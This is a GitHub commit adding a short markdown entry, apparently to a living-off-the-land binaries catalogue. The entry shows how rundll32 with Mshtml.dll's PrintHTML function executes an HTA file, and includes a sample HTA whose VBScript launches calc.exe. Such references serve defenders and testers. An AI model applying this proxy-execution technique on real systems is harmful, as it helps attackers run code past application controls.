Skip to content
This repository has been archived by the owner on Dec 11, 2018. It is now read-only.

Commit

Permalink
Create Mshtml.md
Browse files Browse the repository at this point in the history
  • Loading branch information
giMini committed May 21, 2018
1 parent e8e4bc5 commit f43cafa
Showing 1 changed file with 43 additions and 0 deletions.
43 changes: 43 additions & 0 deletions OSLibraries/Mshtml.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,43 @@
## Mshtml.dll

* Functions: Execute

```
rundll32.exe Mshtml.dll,PrintHTML "C:\temp\calc.hta"
```

Acknowledgements:
* Pierre-Alexandre Braeken - @pabraeken

Code sample (calc.hta):
```
<html>
<head>
<title>LOLBin</title>
<script language="VBScript">
Sub RunProgram
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "c:\windows\system32\calc.exe"
Self.Close
End Sub
</script>
</head>
<body onload="RunProgram">
<h1>LOLBin</h1>
</body>
</html>
```

Resources:
* https://twitter.com/pabraeken/status/998567549670477824

Full path:
```
c:\windows\system32\Mshtml.dll
c:\windows\sysWOW64\Mshtml.dll
```

Notes:


Detection:

0 comments on commit f43cafa

Please sign in to comment.